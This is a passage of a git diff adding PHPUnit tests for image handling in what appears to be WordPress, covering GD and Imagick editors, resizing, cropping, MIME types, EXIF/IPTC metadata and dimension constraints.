DIR_TESTDATA . '/images/gradient-square.jpg'; + + $gd_image_editor = new WP_Image_Editor_GD( $file ); + $gd_image_editor->load(); + + $gd_image_editor->resize( 100, 50, true ); + + $this->assertEquals( array( 'width' => 100, 'height' => 50 ), $gd_image_editor->get_size() ); + } + + /** + * Test cropping an image + */ + public function test_crop() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $gd_image_editor = new WP_Image_Editor_GD( $file ); + $gd_image_editor->load(); + + $gd_image_editor->crop( 0, 0, 50, 50 ); + + $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $gd_image_editor->get_size() ); + + } + + /** + * Test rotating an image 180 deg + */ + public function test_rotate() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $gd_image_editor = new WP_Image_Editor_GD( $file ); + $gd_image_editor->load(); + + $property = new ReflectionProperty( $gd_image_editor, 'image' ); + $property->setAccessible( true ); + + $color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 ); + + $gd_image_editor->rotate( 180 ); + + $this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 99, 99 ) ); + } + + /** + * Test flipping an image + */ + public function test_flip() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $gd_image_editor = new WP_Image_Editor_GD( $file ); + $gd_image_editor->load(); + + $property = new ReflectionProperty( $gd_image_editor, 'image' ); + $property->setAccessible( true ); + + $color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 ); + + $gd_image_editor->flip( true, false ); + + $this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 0, 99 ) ); + } + + /** + * Test the image created with WP_Image_Edior_GD preserves alpha when resizing + * + * @ticket 23039 + */ + public function test_image_preserves_alpha_on_resize() { + + $file = DIR_TESTDATA . '/images/transparent.png'; + + $editor = wp_get_image_editor( $file ); + $editor->load(); + $editor->resize(5,5); + $save_to_file = tempnam( get_temp_dir(), '' ) . '.png'; + + $editor->save( $save_to_file ); + + $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 ); + + } + + /** + * Test the image created with WP_Image_Edior_GD preserves alpha with no resizing etc + * + * @ticket 23039 + */ + public function test_image_preserves_alpha() { + + $file = DIR_TESTDATA . '/images/transparent.png'; + + $editor = wp_get_image_editor( $file ); + $editor->load(); + + $save_to_file = tempnam( get_temp_dir(), '' ) . '.png'; + + $editor->save( $save_to_file ); + + $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 ); + } + +} diff --git a/tests/tests/image/editor_imagick.php b/tests/tests/image/editor_imagick.php new file mode 100644 index 0000000000..1e43298a54 --- /dev/null +++ b/tests/tests/image/editor_imagick.php @@ -0,0 +1,165 @@ +test() ) + $this->markTestSkipped( 'Image Magick not available' ); + + parent::setUp(); + } + + /** + * Check support for Image Magick compatible mime types. + * + */ + public function test_supports_mime_type() { + + $imagick_image_editor = new WP_Image_Editor_Imagick( null ); + + $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' ); + $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' ); + $this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' ); + } + + /** + * Test resizing an image, not using crop + * + */ + public function test_resize() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $imagick_image_editor = new WP_Image_Editor_Imagick( $file ); + $imagick_image_editor->load(); + + $imagick_image_editor->resize( 100, 50 ); + + $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $imagick_image_editor->get_size() ); + } + + /** + * Test resizing an image including cropping + * + */ + public function test_resize_and_crop() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $imagick_image_editor = new WP_Image_Editor_Imagick( $file ); + $imagick_image_editor->load(); + + $imagick_image_editor->resize( 100, 50, true ); + + $this->assertEquals( array( 'width' => 100, 'height' => 50 ), $imagick_image_editor->get_size() ); + } + + /** + * Test cropping an image + */ + public function test_crop() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $imagick_image_editor = new WP_Image_Editor_Imagick( $file ); + $imagick_image_editor->load(); + + $imagick_image_editor->crop( 0, 0, 50, 50 ); + + $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $imagick_image_editor->get_size() ); + + } + + /** + * Test rotating an image 180 deg + */ + public function test_rotate() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $imagick_image_editor = new WP_Image_Editor_Imagick( $file ); + $imagick_image_editor->load(); + + $property = new ReflectionProperty( $imagick_image_editor, 'image' ); + $property->setAccessible( true ); + + $color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor(); + + $imagick_image_editor->rotate( 180 ); + + $this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 99, 99 )->getColor() ); + } + + /** + * Test flipping an image + */ + public function test_flip() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $imagick_image_editor = new WP_Image_Editor_Imagick( $file ); + $imagick_image_editor->load(); + + $property = new ReflectionProperty( $imagick_image_editor, 'image' ); + $property->setAccessible( true ); + + $color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 1, 1 )->getColor(); + + $imagick_image_editor->flip( true, false ); + + $this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 99 )->getColor() ); + } + + /** + * Test the image created with WP_Image_Edior_Imagick preserves alpha when resizing + * + * @ticket 24871 + */ + public function test_image_preserves_alpha_on_resize() { + + $file = DIR_TESTDATA . '/images/transparent.png'; + + $editor = wp_get_image_editor( $file ); + $editor->load(); + $editor->resize(5,5); + $save_to_file = tempnam( get_temp_dir(), '' ) . '.png'; + + $editor->save( $save_to_file ); + + $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 ); + + } + + /** + * Test the image created with WP_Image_Edior_Imagick preserves alpha with no resizing etc + * + * @ticket 24871 + */ + public function test_image_preserves_alpha() { + + $file = DIR_TESTDATA . '/images/transparent.png'; + + $editor = wp_get_image_editor( $file ); + $editor->load(); + + $save_to_file = tempnam( get_temp_dir(), '' ) . '.png'; + + $editor->save( $save_to_file ); + + $this->assertImageAlphaAtPoint( $save_to_file, array( 0,0 ), 127 ); + } +} diff --git a/tests/tests/image/functions.php b/tests/tests/image/functions.php new file mode 100644 index 0000000000..3982f7bc5a --- /dev/null +++ b/tests/tests/image/functions.php @@ -0,0 +1,321 @@ +file( $filename, FILEINFO_MIME ); + } elseif ( function_exists('mime_content_type') ) { + $mime_type = mime_content_type( $filename ); + } + if ( false !== strpos( $mime_type, ';' ) ) { + list( $mime_type, $charset ) = explode( ';', $mime_type, 2 ); + } + return $mime_type; + } + + function test_is_image_positive() { + // these are all image files recognized by php + $files = array( + 'test-image-cmyk.jpg', + 'test-image.bmp', + 'test-image-grayscale.jpg', + 'test-image.gif', + 'test-image.png', + 'test-image.tiff', + 'test-image-lzw.tiff', + 'test-image.jp2', + 'test-image.psd', + 'test-image-zip.tiff', + 'test-image.jpg', + ); + + foreach ($files as $file) { + $this->assertTrue( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" ); + } + } + + function test_is_image_negative() { + // these are actually image files but aren't recognized or usable by php + $files = array( + 'test-image.pct', + 'test-image.tga', + 'test-image.sgi', + ); + + foreach ($files as $file) { + $this->assertFalse( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" ); + } + } + + function test_is_displayable_image_positive() { + // these are all usable in typical web browsers + $files = array( + 'test-image.gif', + 'test-image.png', + 'test-image.jpg', + ); + + foreach ($files as $file) { + $this->assertTrue( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" ); + } + } + + function test_is_displayable_image_negative() { + // these are image files but aren't suitable for web pages because of compatibility or size issues + $files = array( + // 'test-image-cmyk.jpg', Allowed in r9727 + 'test-image.bmp', + // 'test-image-grayscale.jpg', Allowed in r9727 + 'test-image.pct', + 'test-image.tga', + 'test-image.sgi', + 'test-image.tiff', + 'test-image-lzw.tiff', + 'test-image.jp2', + 'test-image.psd', + 'test-image-zip.tiff', + ); + + foreach ($files as $file) { + $this->assertFalse( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" ); + } + } + + /** + * Test save image file and mime_types + * @ticket 6821 + */ + public function test_wp_save_image_file() { + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + + // Mime types + $mime_types = array( + 'image/jpeg', + 'image/gif', + 'image/png' + ); + + // Test each image editor engine + $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick'); + foreach ( $classes as $class ) { + + // If the image editor isn't available, skip it + if ( ! call_user_func( array( $class, 'test' ) ) ) { + continue; + } + + $img = new $class( DIR_TESTDATA . '/images/canola.jpg' ); + $loaded = $img->load(); + + // Save a file as each mime type, assert it works + foreach ( $mime_types as $mime_type ) { + $file = wp_tempnam(); + $ret = wp_save_image_file( $file, $img, $mime_type, 1 ); + $this->assertNotEmpty( $ret ); + $this->assertNotInstanceOf( 'WP_Error', $ret ); + $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) ); + + // Clean up + @unlink( $file ); + @unlink( $ret['path'] ); + } + + // Clean up + unset( $img ); + } + } + + /** + * Test that a passed mime type overrides the extension in the filename + * @ticket 6821 + */ + public function test_mime_overrides_filename() { + + // Test each image editor engine + $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick'); + foreach ( $classes as $class ) { + + // If the image editor isn't available, skip it + if ( ! call_user_func( array( $class, 'test' ) ) ) { + continue; + } + + $img = new $class( DIR_TESTDATA . '/images/canola.jpg' ); + $loaded = $img->load(); + + // Save the file + $mime_type = 'image/gif'; + $file = wp_tempnam( 'tmp.jpg' ); + $ret = $img->save( $file, $mime_type ); + + // Make assertions + $this->assertNotEmpty( $ret ); + $this->assertNotInstanceOf( 'WP_Error', $ret ); + $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) ); + + // Clean up + @unlink( $file ); + @unlink( $ret['path'] ); + unset( $img ); + } + } + + /** + * Test that mime types are correctly inferred from file extensions + * @ticket 6821 + */ + public function test_inferred_mime_types() { + + // Mime types + $mime_types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'gif' => 'image/gif', + 'png' => 'image/png', + 'unk' => 'image/jpeg' // Default, unknown + ); + + // Test each image editor engine + $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick'); + foreach ( $classes as $class ) { + + // If the image editor isn't available, skip it + if ( ! call_user_func( array( $class, 'test' ) ) ) { + continue; + } + + $img = new $class( DIR_TESTDATA . '/images/canola.jpg' ); + $loaded = $img->load(); + + // Save the image as each file extension, check the mime type + $img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + $temp = get_temp_dir(); + foreach ( $mime_types as $ext => $mime_type ) { + $file = wp_unique_filename( $temp, uniqid() . ".$ext" ); + $ret = $img->save( trailingslashit( $temp ) . $file ); + $this->assertNotEmpty( $ret ); + $this->assertNotInstanceOf( 'WP_Error', $ret ); + $this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) ); + @unlink( $file ); + @unlink( $ret['path'] ); + } + + // Clean up + unset( $img ); + } + } + + /** + * Try loading a directory + * @ticket 17814 + */ + public function test_load_directory() { + + // First, test with deprecated wp_load_image function + $editor = wp_load_image( DIR_TESTDATA ); + $this->assertNotInternalType( 'resource', $editor ); + + // Then, test with editors. + $classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick'); + foreach ( $classes as $class ) { + // If the image editor isn't available, skip it + if ( ! call_user_func( array( $class, 'test' ) ) ) { + continue; + } + + $editor = new $class( DIR_TESTDATA ); + $loaded = $editor->load(); + + $this->assertInstanceOf( 'WP_Error', $loaded ); + $this->assertEquals( 'error_loading_image', $loaded->get_error_code() ); + } + } + + public function test_wp_crop_image_file() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + $file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg', + 0, 0, 100, 100, 100, 100 ); + $this->assertNotInstanceOf( 'WP_Error', $file ); + $this->assertFileExists( $file ); + $image = wp_get_image_editor( $file ); + $size = $image->get_size(); + $this->assertEquals( 100, $size['height'] ); + $this->assertEquals( 100, $size['width'] ); + + unlink( $file ); + } + + public function test_wp_crop_image_url() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + $file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canola.jpg', + 0, 0, 100, 100, 100, 100, false, + DIR_TESTDATA . '/images/' . rand_str() . '.jpg' ); + $this->assertNotInstanceOf( 'WP_Error', $file ); + $this->assertFileExists( $file ); + $image = wp_get_image_editor( $file ); + $size = $image->get_size(); + $this->assertEquals( 100, $size['height'] ); + $this->assertEquals( 100, $size['width'] ); + + unlink( $file ); + } + + public function test_wp_crop_image_file_not_exist() { + $file = wp_crop_image( DIR_TESTDATA . '/images/canoladoesnotexist.jpg', + 0, 0, 100, 100, 100, 100 ); + $this->assertInstanceOf( 'WP_Error', $file ); + } + + public function test_wp_crop_image_url_not_exist() { + $file = wp_crop_image( 'http://asdftestblog1.files.wordpress.com/2008/04/canoladoesnotexist.jpg', + 0, 0, 100, 100, 100, 100 ); + $this->assertInstanceOf( 'WP_Error', $file ); + } + + function mock_image_editor( $editors ) { + return array( 'WP_Image_Editor_Mock' ); + } + + /** + * @ticket 23325 + */ + public function test_wp_crop_image_error_on_saving() { + WP_Image_Editor_Mock::$save_return = new WP_Error(); + add_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) ); + + $file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg', + 0, 0, 100, 100, 100, 100 ); + $this->assertInstanceOf( 'WP_Error', $file ); + + remove_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) ); + WP_Image_Editor_Mock::$save_return = array(); + } +} diff --git a/tests/tests/image/intermediate_size.php b/tests/tests/image/intermediate_size.php new file mode 100644 index 0000000000..356b101afa --- /dev/null +++ b/tests/tests/image/intermediate_size.php @@ -0,0 +1,46 @@ +assertFalse( $image ); + } + + function test_make_intermediate_size_width() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 0, false ); + + $this->assertInternalType( 'array', $image ); + } + + function test_make_intermediate_size_height() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 75, false ); + + $this->assertInternalType( 'array', $image ); + } + + function test_make_intermediate_size_successful() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + $image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 75, true ); + + $this->assertInternalType( 'array', $image ); + $this->assertEquals( 100, $image['width'] ); + $this->assertEquals( 75, $image['height'] ); + $this->assertEquals( 'image/jpeg', $image['mime-type'] ); + + $this->assertFalse( isset( $image['path'] ) ); + } +} diff --git a/tests/tests/image/meta.php b/tests/tests/image/meta.php new file mode 100644 index 0000000000..f51109c655 --- /dev/null +++ b/tests/tests/image/meta.php @@ -0,0 +1,141 @@ +markTestSkipped( 'The gd PHP extension is not loaded.' ); + if ( ! extension_loaded( 'exif' ) ) + $this->markTestSkipped( 'The exif PHP extension is not loaded.' ); + if ( ! is_callable( 'wp_read_image_metadata' ) ) + $this->markTestSkipped( 'wp_read_image_metadata() is not callable.' ); + parent::setUp(); + } + + function test_exif_d70() { + // exif from a Nikon D70 + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0008.jpg'); + + $this->assertEquals(6.3, $out['aperture']); + $this->assertEquals('', $out['credit']); + $this->assertEquals('NIKON D70', $out['camera']); + $this->assertEquals('', $out['caption']); + $this->assertEquals(strtotime('2004-07-22 17:14:59'), $out['created_timestamp']); + $this->assertEquals('', $out['copyright']); + $this->assertEquals(27, $out['focal_length']); + $this->assertEquals(400, $out['iso']); + $this->assertEquals(1/40, $out['shutter_speed']); + $this->assertEquals('', $out['title']); + } + + function test_exif_d70_mf() { + // exif from a Nikon D70 - manual focus lens, so some data is unavailable + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG'); + + $this->assertEquals(0, $out['aperture']); + $this->assertEquals('', $out['credit']); + $this->assertEquals('NIKON D70', $out['camera']); + $this->assertEquals('', $out['caption']); + $this->assertEquals(strtotime('2007-06-17 21:18:00'), $out['created_timestamp']); + $this->assertEquals('', $out['copyright']); + $this->assertEquals(0, $out['focal_length']); + $this->assertEquals(0, $out['iso']); // interesting - a Nikon bug? + $this->assertEquals(1/500, $out['shutter_speed']); + $this->assertEquals('', $out['title']); + #$this->assertEquals(array('Flowers'), $out['keywords']); + } + + function test_exif_d70_iptc() { + // exif from a Nikon D70 with IPTC data added later + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/2004-07-22-DSC_0007.jpg'); + + $this->assertEquals(6.3, $out['aperture']); + $this->assertEquals('IPTC Creator', $out['credit']); + $this->assertEquals('NIKON D70', $out['camera']); + $this->assertEquals('IPTC Caption', $out['caption']); + $this->assertEquals(strtotime('2004-07-22 17:14:35'), $out['created_timestamp']); + $this->assertEquals('IPTC Copyright', $out['copyright']); + $this->assertEquals(18, $out['focal_length']); + $this->assertEquals(200, $out['iso']); + $this->assertEquals(1/25, $out['shutter_speed']); + $this->assertEquals('IPTC Headline', $out['title']); + } + + function test_exif_fuji() { + // exif from a Fuji FinePix S5600 (thanks Mark) + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/a2-small.jpg'); + + $this->assertEquals(4.5, $out['aperture']); + $this->assertEquals('', $out['credit']); + $this->assertEquals('FinePix S5600', $out['camera']); + $this->assertEquals('', $out['caption']); + $this->assertEquals(strtotime('2007-09-03 10:17:03'), $out['created_timestamp']); + $this->assertEquals('', $out['copyright']); + $this->assertEquals(6.3, $out['focal_length']); + $this->assertEquals(64, $out['iso']); + $this->assertEquals(1/320, $out['shutter_speed']); + $this->assertEquals('', $out['title']); + + } + + /** + * @ticket 6571 + */ + function test_exif_error() { + + // http://trac.wordpress.org/ticket/6571 + // this triggers a warning mesage when reading the exif block + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/waffles.jpg'); + + $this->assertEquals(0, $out['aperture']); + $this->assertEquals('', $out['credit']); + $this->assertEquals('', $out['camera']); + $this->assertEquals('', $out['caption']); + $this->assertEquals(0, $out['created_timestamp']); + $this->assertEquals('', $out['copyright']); + $this->assertEquals(0, $out['focal_length']); + $this->assertEquals(0, $out['iso']); + $this->assertEquals(0, $out['shutter_speed']); + $this->assertEquals('', $out['title']); + } + + function test_exif_no_data() { + // no exif data in this image (from burningwell.org) + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/canola.jpg'); + + $this->assertEquals(0, $out['aperture']); + $this->assertEquals('', $out['credit']); + $this->assertEquals('', $out['camera']); + $this->assertEquals('', $out['caption']); + $this->assertEquals(0, $out['created_timestamp']); + $this->assertEquals('', $out['copyright']); + $this->assertEquals(0, $out['focal_length']); + $this->assertEquals(0, $out['iso']); + $this->assertEquals(0, $out['shutter_speed']); + $this->assertEquals('', $out['title']); + } + + /** + * @ticket 9417 + */ + function test_utf8_iptc_tags() { + + // trilingual UTF-8 text in the ITPC caption-abstract field + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/test-image-iptc.jpg'); + + $this->assertEquals('This is a comment. / Это комментарий. / Βλέπετε ένα σχόλιο.', $out['caption']); + } + + /** + * wp_read_image_metadata() should false if the image file doesn't exist + * @return void + */ + public function test_missing_image_file() { + $out = wp_read_image_metadata(DIR_TESTDATA.'/images/404_image.png'); + $this->assertFalse($out); + } +} diff --git a/tests/tests/image/resize.php b/tests/tests/image/resize.php new file mode 100644 index 0000000000..a4a6aaab2b --- /dev/null +++ b/tests/tests/image/resize.php @@ -0,0 +1,169 @@ +resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 25, 25 ); + + $this->assertEquals( 'test-image-25x25.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 25, $w ); + $this->assertEquals( 25, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + function test_resize_png() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.png', 25, 25 ); + + $this->assertEquals( 'test-image-25x25.png', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 25, $w ); + $this->assertEquals( 25, $h ); + $this->assertEquals( IMAGETYPE_PNG, $type ); + + unlink( $image ); + } + + function test_resize_gif() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.gif', 25, 25 ); + + $this->assertEquals( 'test-image-25x25.gif', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 25, $w ); + $this->assertEquals( 25, $h ); + $this->assertEquals( IMAGETYPE_GIF, $type ); + + unlink( $image ); + } + + function test_resize_larger() { + // image_resize() should refuse to make an image larger + $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 100, 100 ); + + $this->assertInstanceOf( 'WP_Error', $image ); + $this->assertEquals( 'error_getting_dimensions', $image->get_error_code() ); + } + + function test_resize_thumb_128x96() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 96 ); + + $this->assertEquals( '2007-06-17DSC_4173-63x96.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 63, $w ); + $this->assertEquals( 96, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + function test_resize_thumb_128x0() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 0 ); + + $this->assertEquals( '2007-06-17DSC_4173-128x192.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 128, $w ); + $this->assertEquals( 192, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + function test_resize_thumb_0x96() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 0, 96 ); + + $this->assertEquals( '2007-06-17DSC_4173-63x96.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 63, $w ); + $this->assertEquals( 96, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + function test_resize_thumb_150x150_crop() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 150, true ); + + $this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 150, $w ); + $this->assertEquals( 150, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + function test_resize_thumb_150x100_crop() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 100, true ); + + $this->assertEquals( '2007-06-17DSC_4173-150x100.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 150, $w ); + $this->assertEquals( 100, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink($image); + } + + function test_resize_thumb_50x150_crop() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 50, 150, true ); + + $this->assertEquals( '2007-06-17DSC_4173-50x150.jpg', basename($image) ); + list($w, $h, $type) = getimagesize($image); + $this->assertEquals( 50, $w ); + $this->assertEquals( 150, $h ); + $this->assertEquals( IMAGETYPE_JPEG, $type ); + + unlink( $image ); + } + + /** + * Try resizing a non-existent image + * @ticket 6821 + */ + public function test_resize_non_existent_image() { + $image = $this->resize_helper( DIR_TESTDATA.'/images/test-non-existent-image.jpg', 25, 25 ); + + $this->assertInstanceOf( 'WP_Error', $image ); + $this->assertEquals( 'error_loading_image', $image->get_error_code() ); + } + + /** + * Try resizing a php file (bad image) + * @ticket 6821 + */ + public function test_resize_bad_image() { + $image = $this->resize_helper( DIR_TESTDATA.'/export/crazy-cdata.xml', 25, 25 ); + $this->assertInstanceOf( 'WP_Error', $image ); + $this->assertEquals( 'invalid_image', $image->get_error_code() ); + } + + + /** + * Function to help out the tests + */ + protected function resize_helper( $file, $width, $height, $crop = false ) { + $editor = wp_get_image_editor( $file ); + + if ( is_wp_error( $editor ) ) + return $editor; + + $resized = $editor->resize( $width, $height, $crop ); + if ( is_wp_error( $resized ) ) + return $resized; + + $dest_file = $editor->generate_filename(); + $saved = $editor->save( $dest_file ); + + if ( is_wp_error( $saved ) ) + return $saved; + + return $dest_file; + } +} diff --git a/tests/tests/image/resize_gd.php b/tests/tests/image/resize_gd.php new file mode 100644 index 0000000000..7fe144b012 --- /dev/null +++ b/tests/tests/image/resize_gd.php @@ -0,0 +1,15 @@ +markTestSkipped('wp_constrain_dimensions() is not callable.'); + + // no constraint - should have no effect + $out = wp_constrain_dimensions(640, 480, 0, 0); + $this->assertEquals(array(640, 480), $out); + + $out = wp_constrain_dimensions(640, 480); + $this->assertEquals(array(640, 480), $out); + + $out = wp_constrain_dimensions(0, 0, 0, 0); + $this->assertEquals(array(0, 0), $out); + } + + function test_constrain_dims_smaller() { + if (!is_callable('wp_constrain_dimensions')) + $this->markTestSkipped('wp_constrain_dimensions() is not callable.'); + + // image size is smaller than the constraint - no effect + $out = wp_constrain_dimensions(500, 600, 1024, 768); + $this->assertEquals(array(500, 600), $out); + + $out = wp_constrain_dimensions(500, 600, 0, 768); + $this->assertEquals(array(500, 600), $out); + + $out = wp_constrain_dimensions(500, 600, 1024, 0); + $this->assertEquals(array(500, 600), $out); + } + + function test_constrain_dims_equal() { + if (!is_callable('wp_constrain_dimensions')) + $this->markTestSkipped('wp_constrain_dimensions() is not callable.'); + + // image size is equal to the constraint - no effect + $out = wp_constrain_dimensions(1024, 768, 1024, 768); + $this->assertequals(array(1024, 768), $out); + + $out = wp_constrain_dimensions(1024, 768, 0, 768); + $this->assertequals(array(1024, 768), $out); + + $out = wp_constrain_dimensions(1024, 768, 1024, 0); + $this->assertequals(array(1024, 768), $out); + } + + function test_constrain_dims_larger() { + if (!is_callable('wp_constrain_dimensions')) + $this->markTestSkipped('wp_constrain_dimensions() is not callable.'); + + // image size is larger than the constraint - result should be constrained + $out = wp_constrain_dimensions(1024, 768, 500, 600); + $this->assertequals(array(500, 375), $out); + + $out = wp_constrain_dimensions(1024, 768, 0, 600); + $this->assertequals(array(800, 600), $out); + + $out = wp_constrain_dimensions(1024, 768, 500, 0); + $this->assertequals(array(500, 375), $out); + + // also try a portrait oriented image + $out = wp_constrain_dimensions(300, 800, 500, 600); + $this->assertequals(array(225, 600), $out); + + $out = wp_constrain_dimensions(300, 800, 0, 600); + $this->assertequals(array(225, 600), $out); + + $out = wp_constrain_dimensions(300, 800, 200, 0); + $this->assertequals(array(200, 533), $out); + } + + function test_constrain_dims_boundary() { + if (!is_callable('wp_constrain_dimensions')) + $this->markTestSkipped('wp_constrain_dimensions() is not callable.'); + + // one dimension is larger than the constraint, one smaller - result should be constrained + $out = wp_constrain_dimensions(1024, 768, 500, 800); + $this->assertequals(array(500, 375), $out); + + $out = wp_constrain_dimensions(1024, 768, 2000, 700); + $this->assertequals(array(933, 700), $out); + + // portrait + $out = wp_constrain_dimensions(768, 1024, 800, 500); + $this->assertequals(array(375, 500), $out); + + $out = wp_constrain_dimensions(768, 1024, 2000, 700); + $this->assertequals(array(525, 700), $out); + } + + function test_shrink_dimensions_default() { + $out = wp_shrink_dimensions(640, 480); + $this->assertEquals(array(128, 96), $out); + + $out = wp_shrink_dimensions(480, 640); + $this->assertEquals(array(72, 96), $out); + } + + function test_shrink_dimensions_smaller() { + // image size is smaller than the constraint - no effect + $out = wp_shrink_dimensions(500, 600, 1024, 768); + $this->assertEquals(array(500, 600), $out); + + $out = wp_shrink_dimensions(600, 500, 1024, 768); + $this->assertEquals(array(600, 500), $out); + } + + function test_shrink_dimensions_equal() { + // image size is equal to the constraint - no effect + $out = wp_shrink_dimensions(500, 600, 500, 600); + $this->assertEquals(array(500, 600), $out); + + $out = wp_shrink_dimensions(600, 500, 600, 500); + $this->assertEquals(array(600, 500), $out); + } + + function test_shrink_dimensions_larger() { + // image size is larger than the constraint - result should be constrained + $out = wp_shrink_dimensions(1024, 768, 500, 600); + $this->assertequals(array(500, 375), $out); + + $out = wp_shrink_dimensions(300, 800, 500, 600); + $this->assertequals(array(225, 600), $out); + } + + function test_shrink_dimensions_boundary() { + // one dimension is larger than the constraint, one smaller - result should be constrained + $out = wp_shrink_dimensions(1024, 768, 500, 800); + $this->assertequals(array(500, 375), $out); + + $out = wp_shrink_dimensions(1024, 768, 2000, 700); + $this->assertequals(array(933, 700), $out); + + // portrait + $out = wp_shrink_dimensions(768, 1024, 800, 500); + $this->assertequals(array(375, 500), $out); + + $out = wp_shrink_dimensions(768, 1024, 2000, 700); + $this->assertequals(array(525, 700), $out); + } + + function test_constrain_size_for_editor_thumb() { + $out = image_constrain_size_for_editor(600, 400, 'thumb'); + $this->assertEquals(array(150, 100), $out); + + $out = image_constrain_size_for_editor(64, 64, 'thumb'); + $this->assertEquals(array(64, 64), $out); + } + + function test_constrain_size_for_editor_medium() { + // default max width is 500, no constraint on height + 